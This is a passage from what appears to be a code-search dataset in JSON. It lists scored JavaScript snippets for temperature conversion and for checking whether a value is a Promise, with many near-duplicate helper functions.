"0.76267064", "text": "function cToF(celsius) {\n return celsius * 9 / 5 + 32;\n }", "title": "" }, { "docid": "f884d5e9de9a30f58916bdce8cd540a1", "score": "0.7595761", "text": "function toCelcius (fahrenhiet) {\r\n return (5 / 9) * (fahrenhiet - 32);\r\n}", "title": "" }, { "docid": "5ff131410173fc4bc33d369f1452c23a", "score": "0.7557044", "text": "function calcFarhCel(fahrenheit) {\r\n let celsius = Math.round((fahrenheit - 32) * 5 / 9);\r\n return celsius;\r\n }", "title": "" }, { "docid": "23e39d3615e4f81f6435c33420edab30", "score": "0.75567544", "text": "toFahrenheit(c) { return c * 9 / 5 + 32; }", "title": "" }, { "docid": "0b263d61869ab0c94c098df039f2b915", "score": "0.75545424", "text": "function celsius(temp1) {\n degF = (temp1 * 9/5) + 32;\n console.log(\"Temperature in Fahrenheit: \"+degF);\n}", "title": "" }, { "docid": "7e05bf06893c0c083c4557de50a1a001", "score": "0.75443363", "text": "function convertTemperature(celsius, decimalPlaces = 1) { //decimalPlaces = 1 --> indica que si no se añade segundo parametro\n // celsius to fahrenheit al llamar la funcion, por defecto será 1\nconst fahrenheit = celsius * 1.8 + 32;\nreturn Number(fahrenheit.toFixed(decimalPlaces));\n}", "title": "" }, { "docid": "6cea5fa8780623d34564a0ebb329183d", "score": "0.75435674", "text": "function fahrenheitToCelsius(fDegrees){\n var celsius = (5*(fDegrees - 32))/9;\n console.log(celsius);\n return celsius;\n }", "title": "" }, { "docid": "d54cc886f64952e51ed91e42c0546ca9", "score": "0.75243855", "text": "function celciusTemp(oC) {\n let convertCelciusToFahrenheit = (oC * 9/5) + 32;\n return convertCelciusToFahrenheit;\n}", "title": "" }, { "docid": "8f84104bc3e3aa415259cc267c08f29b", "score": "0.7498025", "text": "function getTemperature(c){\r\n const result = 9/5 * c + 32 ;\r\n console.log(\"convert temp celsius to fahrenheit: \" + c + \" is \" + result);\r\n return result;\r\n}", "title": "" }, { "docid": "aa5a113b134e579f4b527eab6036996c", "score": "0.7493678", "text": "function fahrenheitToCelsius(currentTemp) {\n currentTemp = (currentTemp - 32) * (5/9);\n displayTemp(currentTemp); \n}", "title": "" }, { "docid": "cf50864e8a28d749efe55cc46c1e8476", "score": "0.7480882", "text": "function f2c(/* Float */fahrenheit) {\r\n\ttry {\r\n\t\tif (fahrenheit != null && fahrenheit != '') {\r\n\t\t\treturn Math.round(5 / 9 * (fahrenheit - 32));\r\n\t\t} else {\r\n\t\t\treturn '';\r\n\t\t}\r\n\t} catch (ex) {\r\n\t\terrMessage = errMessage + \"\\n f2c() : \" + ex;\r\n\t}\r\n}", "title": "" }, { "docid": "ea32b3af04593dadcae4bb02e00d3648", "score": "0.74725413", "text": "function fahrenheitToCelsius(fDegrees) {\r\n const fahToCel = ((fDegrees - 32) * (5 / 9));\r\n // console.log(fDegrees + \" degrees Fahrenheit is \" + fahToCel + \" degrees Celsius\");\r\n return fahToCel;\r\n}", "title": "" }, { "docid": "34a4ae3fe9b9528ffe079104605aaa24", "score": "0.74647444", "text": "function convertToCelsius (fahrenheit) {\n\treturn (5/9) * (fahrenheit-32)\n}", "title": "" }, { "docid": "6362dc2778f61bc182a45bf9e7703116", "score": "0.7453665", "text": "function celsiusToFahrenheit(cDegrees){\n var fahrenheit = (9/5 * cDegrees) + 32\n return Math.ceil(fahrenheit)+' as fahrenheit'\n}", "title": "" }, { "docid": "ff189f80fa9703f0838bee84c2d9dd4d", "score": "0.7439819", "text": "function calcFahrenheit(c) {\n let f = (c * (9 / 5)) + 32;\n return f.toFixed(2);\n }", "title": "" }, { "docid": "66b1995e36d7c8a4d1c6f324b26e4b66", "score": "0.7436339", "text": "function celsiusToFahrenheit(cDegrees){\n return (9/5 * cDegrees) + 32\n}", "title": "" }, { "docid": "09d5093a6c086686beda951ec56de136", "score": "0.7411044", "text": "function convertToCelsius(tempFarenheit) {\n return Math.round( (tempFarenheit - 32) * (5/9) );\n}", "title": "" }, { "docid": "f998853e07791490a6ae6babc06a3296", "score": "0.73972756", "text": "function celToFah(cels) {\n return((cels * 9/5) + 32);\n}", "title": "" }, { "docid": "ab61dec51d3fbe5d8d6cde97228f5cdd", "score": "0.7395967", "text": "function convertCToF(){\n\n var degreesCelsius = document.getElementById(\"#\").value; \n\n return degreesCelsius * 1.8 + 32;\n\n}", "title": "" }, { "docid": "28f5b763f7ca00a89cbfe22c4fad6689", "score": "0.7375125", "text": "function calcFahrenheitToCelcius(f){\nreturn ((f - 32) * 5/9);\n}", "title": "" }, { "docid": "5e04f410c7cb6302d118cb1836c18854", "score": "0.73666894", "text": "function convertTemp(){\n const fah_input = document.getElementById(\"f-input\");\n fah = fah_input.value;\n //Calculate the temperature here\n let cel = (fah - 32) * (5/9);\n cel = cel.toFixed(2);\n //Send the calculated temperature to HTML\n document.getElementById(\"c-output\").innerHTML = cel;\n}", "title": "" }, { "docid": "258ae1afd8cf2a1b9c6fa63ce32e2176", "score": "0.7349236", "text": "function fahrenheitToCelsius(fahrenheit) {\n return (fahrenheit - 32) / 1, 8\n}", "title": "" }, { "docid": "5f89bc2c83eb53932796238b55a6a6b1", "score": "0.73328054", "text": "function convertirFAHaCelsius(gradoFah) {\n return celcius = (gradoFah - 32) * 5 / 9\n \n}", "title": "" }, { "docid": "c30965a3f0e881f285965c3c844cf4a4", "score": "0.73325634", "text": "function calcCelFarh(celsius) {\r\n let fahrenheit = Math.round((celsius * (9 / 5)) + 32);\r\n return fahrenheit;\r\n }", "title": "" }, { "docid": "4141a2f9d001bc1f868ac4821906a76a", "score": "0.7326639", "text": "function C_to_F(temperature) {\n return Math.round((parseInt(temperature) * (9.0 / 5.0)) + 32);\n}", "title": "" }, { "docid": "896cd1926d622d09033edd989adfafff", "score": "0.73231703", "text": "function fahrenheitToCelsius(fDegrees){\n var celsius = (((fDegrees - 32) * 5) /9);\n return celsius;\n}", "title": "" }, { "docid": "569a4c9de55ed4dc347861315148ccd1", "score": "0.73152447", "text": "function cToF(celsius) \n {\n var cTemp = celsius;\n var cToFahr = cTemp * 9 / 5 + 32;\n var message = cTemp+'\\xB0C is ' + cToFahr + ' \\xB0F.';\n document.write(\"<br>\" + \"<br>\" + message);\n }", "title": "" } ]
61c7ea805efa229cd68d378cff179e9b
Determine if the argument is shaped like a Promise
[ { "docid": "987ede70da74a67fb0de0ea4bbe0decf", "score": "0.6469936", "text": "function isPromise(obj) {\r\n // allow any Promise/A+ compliant thenable.\r\n // It's up to the caller to ensure that obj.then conforms to the spec\r\n return !!obj && typeof obj.then === 'function';\r\n }", "title": "" } ]
[ { "docid": "68cf69740f96177a721f35f26c41bcd4", "score": "0.70473653", "text": "function isPromise(input) {\n return (\n (\n typeof Promise !== 'undefined' &&\n input instanceof Promise\n ) ||\n (\n input !== null &&\n typeof input === 'object' &&\n typeof input.then === 'function' &&\n typeof input.catch === 'function'\n )\n );\n }", "title": "" }, { "docid": "33d5730d8a91cbae740ff5dd909fb7f6", "score": "0.7037172", "text": "function isPromise(input) {\n return typeof Promise !== 'undefined' && input instanceof Promise || input !== null && typeof input === 'object' && typeof input.then === 'function' && typeof input.catch === 'function';\n }", "title": "" }, { "docid": "33d5730d8a91cbae740ff5dd909fb7f6", "score": "0.7037172", "text": "function isPromise(input) {\n return typeof Promise !== 'undefined' && input instanceof Promise || input !== null && typeof input === 'object' && typeof input.then === 'function' && typeof input.catch === 'function';\n }", "title": "" }, { "docid": "5fc33f66da3e2a9d663dea16605ba162", "score": "0.69779503", "text": "function isPromise (o) { return o && typeof o.then === 'function' }", "title": "" }, { "docid": "5fc33f66da3e2a9d663dea16605ba162", "score": "0.69779503", "text": "function isPromise (o) { return o && typeof o.then === 'function' }", "title": "" }, { "docid": "71521e5cdb017b2090805d6565a0cebc", "score": "0.6937303", "text": "function isPromise(input) {\n return typeof Promise !== 'undefined' && input instanceof Promise || input !== null && (typeof input === 'undefined' ? 'undefined' : _typeof(input)) === 'object' && typeof input.then === 'function' && typeof input.catch === 'function';\n}", "title": "" }, { "docid": "71521e5cdb017b2090805d6565a0cebc", "score": "0.6937303", "text": "function isPromise(input) {\n return typeof Promise !== 'undefined' && input instanceof Promise || input !== null && (typeof input === 'undefined' ? 'undefined' : _typeof(input)) === 'object' && typeof input.then === 'function' && typeof input.catch === 'function';\n}", "title": "" }, { "docid": "2285deeb80b1f235acdb8d0065468731", "score": "0.69363046", "text": "function $aae0c4c135a2f3bf4cc37389550ee2d1$var$isPromise(input) {\n return typeof Promise !== 'undefined' && input instanceof Promise || input !== null && typeof input === 'object' && typeof input.then === 'function' && typeof input.catch === 'function';\n }", "title": "" }, { "docid": "59b44f08c7992f864eaf279a87e3af44", "score": "0.69299096", "text": "function isPromise(input) {\n return typeof Promise !== 'undefined' && input instanceof Promise || input !== null && _typeof(input) === 'object' && typeof input.then === 'function' && typeof input[\"catch\"] === 'function';\n}", "title": "" }, { "docid": "ac952638e53b56b891712079fa9902c3", "score": "0.69243276", "text": "function IsPromise ( x ) {\n if ( Type(x) !== 'object' ) {\n return false;\n }\n if ( Type(x['[[PromiseStatus]]']) === 'undefined' ) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "43b6f743c49e2290e2206fa1e63d6496", "score": "0.6878156", "text": "function isPromise(input) {\n\treturn (\n\t\t(\n\t\t\ttypeof Promise !== 'undefined' &&\n\t\t\tinput instanceof Promise\n\t\t) ||\n\t\t(\n\t\t\tinput !== null &&\n\t\t\ttypeof input === 'object' &&\n\t\t\ttypeof input.then === 'function' &&\n\t\t\ttypeof input.catch === 'function'\n\t\t)\n\t);\n}", "title": "" }, { "docid": "7a78ccf53b1c8247acc7a1cb73b77a77", "score": "0.6815578", "text": "function isPromiseLike(value) {\r\n return !!value && typeof value.then === 'function';\r\n}", "title": "" }, { "docid": "ccc8d730de020c7753ad19f025e45859", "score": "0.68023866", "text": "function isPromise (p) {\n\t return check.object(p) && hasPromiseApi(p)\n\t}", "title": "" }, { "docid": "436613ab43943dd535dbb23422897950", "score": "0.6795489", "text": "function isPromiseLike(value) {\r\n return typeof value.then === 'function';\r\n}", "title": "" }, { "docid": "4c8c799d794f5e346e26ecc4645ef5a4", "score": "0.67607564", "text": "function isPromise(p) {\n /* eslint-disable no-new-object */\n return new Object(p) === p && typeof p.then === \"function\";\n /* eslint-enable non-new-object */\n}", "title": "" }, { "docid": "dcac7ace8676bb240b69a67c196b5663", "score": "0.6735251", "text": "function isPromiseLike(value) {\n return !!value && typeof value.then === 'function';\n }", "title": "" }, { "docid": "2e5dfbd070cf097a32cd1cd65b5c7688", "score": "0.67180794", "text": "function isPromiseLike(value) {\r\n return !!value && typeof value.then === 'function';\r\n }", "title": "" }, { "docid": "85546f8261bfc818915ffabc25ce0cf1", "score": "0.6666675", "text": "function isPromise(p) {\n return !!p && typeof p.then === 'function';\n}", "title": "" }, { "docid": "4f73d75b81fbfaa7829576b0cf7fe30b", "score": "0.661929", "text": "function isPromise(p) {\n return p && typeof p.then === 'function';\n}", "title": "" }, { "docid": "b3e46842a581c465b39540cff3a0cc51", "score": "0.66142035", "text": "function isPromise (p) {\n\t return p && typeof p.then === 'function'\n\t}", "title": "" }, { "docid": "ced3a9a73a20b0ea1480bf565797f727", "score": "0.65493524", "text": "function isPromise(p) {\n return p !== null && typeof p === 'object' && typeof p.then === 'function';\n}", "title": "" }, { "docid": "9ed3db0413b8adaa2fead2765b2cb8c5", "score": "0.6515718", "text": "function isPromise(candidate) {\n return (\n candidate != null &&\n (typeof candidate === 'object' || typeof candidate === 'function') &&\n typeof candidate.then === 'function'\n );\n}", "title": "" }, { "docid": "e7e3b9d4e7522bc1d163bc731851fbc0", "score": "0.64856297", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n }", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "d0befaac1a535fb92345bb557c91545e", "score": "0.64602005", "text": "function isPromise(obj) {\n // allow any Promise/A+ compliant thenable.\n // It's up to the caller to ensure that obj.then conforms to the spec\n return !!obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "7c165cc0cc13bfcc4cb29191137786c8", "score": "0.64548063", "text": "function isPromise(p) {\n return !!p\n && isFunction(p.then)\n && isFunction(p.catch)\n}", "title": "" }, { "docid": "7c165cc0cc13bfcc4cb29191137786c8", "score": "0.64548063", "text": "function isPromise(p) {\n return !!p\n && isFunction(p.then)\n && isFunction(p.catch)\n}", "title": "" }, { "docid": "8c9c9b1f8dd3df64b8dbd8b6b632d91e", "score": "0.6442442", "text": "function isPromise(obj){\n return !!obj && (typeof obj === \"object\" || typeof obj === \"function\") && typeof obj.then === \"function\";\n}", "title": "" }, { "docid": "ee5b431b87352e755e22da15610f3963", "score": "0.6429024", "text": "function isPromise(value) {\n return Boolean(value && typeof value.then === 'function');\n}", "title": "" }, { "docid": "ee5b431b87352e755e22da15610f3963", "score": "0.6429024", "text": "function isPromise(value) {\n return Boolean(value && typeof value.then === 'function');\n}", "title": "" }, { "docid": "ee5b431b87352e755e22da15610f3963", "score": "0.6429024", "text": "function isPromise(value) {\n return Boolean(value && typeof value.then === 'function');\n}", "title": "" }, { "docid": "ee5b431b87352e755e22da15610f3963", "score": "0.6429024", "text": "function isPromise(value) {\n return Boolean(value && typeof value.then === 'function');\n}", "title": "" }, { "docid": "ee5b431b87352e755e22da15610f3963", "score": "0.6429024", "text": "function isPromise(value) {\n return Boolean(value && typeof value.then === 'function');\n}", "title": "" }, { "docid": "1206103a562f77fd21dfd12c21b18b35", "score": "0.6422027", "text": "function isPromise(val) {\n\treturn val && typeof val.then === 'function';\n}", "title": "" }, { "docid": "8218fe69d7f7acf6496b97b6079c0268", "score": "0.6398371", "text": "function isPromise(obj) {\n return obj && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "cf35a18482cc34991471d24dce5af20d", "score": "0.63970786", "text": "function isPromise(obj){return!!obj&&((typeof obj==='undefined'?'undefined':_typeof(obj))==='object'||typeof obj==='function')&&typeof obj.then==='function';}", "title": "" }, { "docid": "cf35a18482cc34991471d24dce5af20d", "score": "0.63970786", "text": "function isPromise(obj){return!!obj&&((typeof obj==='undefined'?'undefined':_typeof(obj))==='object'||typeof obj==='function')&&typeof obj.then==='function';}", "title": "" }, { "docid": "f210d869d1ed6d0d838114b75dd7700d", "score": "0.6327391", "text": "function isPromise(val) {\n return typeof val === 'object' && typeof val.then === 'function';\n }", "title": "" }, { "docid": "f210d869d1ed6d0d838114b75dd7700d", "score": "0.6327391", "text": "function isPromise(val) {\n return typeof val === 'object' && typeof val.then === 'function';\n }", "title": "" }, { "docid": "f210d869d1ed6d0d838114b75dd7700d", "score": "0.6327391", "text": "function isPromise(val) {\n return typeof val === 'object' && typeof val.then === 'function';\n }", "title": "" }, { "docid": "3edb5008a99e858efbd7e5b5885b0a3a", "score": "0.63233525", "text": "function isPromise(obj) {\n return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "5384c48ce0609b33bcf86e2bfcefc3fb", "score": "0.6267777", "text": "function isPromise(obj) {\n return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n }", "title": "" }, { "docid": "5384c48ce0609b33bcf86e2bfcefc3fb", "score": "0.6267777", "text": "function isPromise(obj) {\n return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n }", "title": "" }, { "docid": "f0ac7870f8d33ac4c67b79b20aa46698", "score": "0.62521404", "text": "function isPromise(prop) {\n return null !== prop && typeof prop === 'object' && 'then' in prop;\n}", "title": "" }, { "docid": "e41b726407bb8ff92b5f678419d5840a", "score": "0.6245037", "text": "function isPromise(obj) {\n return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "0b89306b129b5b785cfa26552de939b4", "score": "0.61891896", "text": "function isPromise(object) {\n return !! (object &&\n typeof object.done === 'function' &&\n typeof object.resolve !== 'function');\n}", "title": "" }, { "docid": "9b6c246150ef6907fcc6a9bbd6649117", "score": "0.6169864", "text": "function isPromise(obj) {\n return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n }", "title": "" }, { "docid": "9b6c246150ef6907fcc6a9bbd6649117", "score": "0.6169864", "text": "function isPromise(obj) {\n return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n }", "title": "" }, { "docid": "db678a6f7aaab4de2bf65eaa597307f0", "score": "0.6152531", "text": "function isPromise(obj) {\n\t return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n\t}", "title": "" }, { "docid": "134bc241906ee7338893f8b1ac0e1462", "score": "0.6146516", "text": "function isPromise(obj) {\n return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n }", "title": "" }, { "docid": "134bc241906ee7338893f8b1ac0e1462", "score": "0.6146516", "text": "function isPromise(obj) {\n return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n }", "title": "" }, { "docid": "d12c2d99dbbc9c9249a90ee5274c79bd", "score": "0.6128347", "text": "isPromise(value) {\n \n if(!value){\n return false;\n }\n \n if (typeof value.then !== \"function\") {\n return false;\n }\n \n var promiseThenSrc = String($.Deferred().then);\n var valueThenSrc = String(value.then);\n \n return promiseThenSrc === valueThenSrc;\n \n }", "title": "" }, { "docid": "4110e3bb1d77cdb9175944b50898bec2", "score": "0.60986114", "text": "function isPromise(value) {\n return typeof (value === null || value === void 0 ? void 0 : value.then) === 'function';\n}", "title": "" }, { "docid": "4110e3bb1d77cdb9175944b50898bec2", "score": "0.60986114", "text": "function isPromise(value) {\n return typeof (value === null || value === void 0 ? void 0 : value.then) === 'function';\n}", "title": "" }, { "docid": "b387a6ffcc81e4697a164705f84d6970", "score": "0.60813093", "text": "function isPromise(obj) {\n return !!obj && ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object' || typeof obj === 'function') && typeof obj.then === 'function';\n}", "title": "" }, { "docid": "5a3648f49cfdfe5468e5708dd39bb0be", "score": "0.6071548", "text": "function isPromise(object) {\n // We chose to not use 'obj instanceOf Promise' for two reasons:\n // 1. It only reliably works for es6 Promise, not other Promise\n // implementations.\n // 2. It doesn't work with framework that uses zone.js. zone.js monkey patch\n // the async calls, so it is possible the obj (patched) is comparing to a\n // pre-patched Promise.\n return object && object.then && typeof object.then === 'function';\n}", "title": "" }, { "docid": "eddcba356e9ffc71a934bdc2ae531b3c", "score": "0.6052253", "text": "function q(e){return e&&\"function\"==typeof e.then}", "title": "" }, { "docid": "f6fd3456168fe8fc9a926025bdfc6832", "score": "0.60220647", "text": "function isPromise(object) {\n // We chose to not use 'obj instanceOf Promise' for two reasons:\n // 1. It only reliably works for es6 Promise, not other Promise\n // implementations.\n // 2. It doesn't work with framework that uses zone.js. zone.js monkey patch\n // the async calls, so it is possible the obj (patched) is comparing to a\n // pre-patched Promise.\n return object && object.then && typeof object.then === 'function';\n}", "title": "" }, { "docid": "d150a8bda05b6142b480af8060f6ebd9", "score": "0.599947", "text": "function isResolve(value){return isObject(value) && value.then && value.$$promises;}", "title": "" }, { "docid": "f10107d3b6e0dd933cfe9da5028f3c71", "score": "0.575773", "text": "function isResolve(value) {\n\t return isObject(value) && value.then && value.$$promises;\n\t }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n 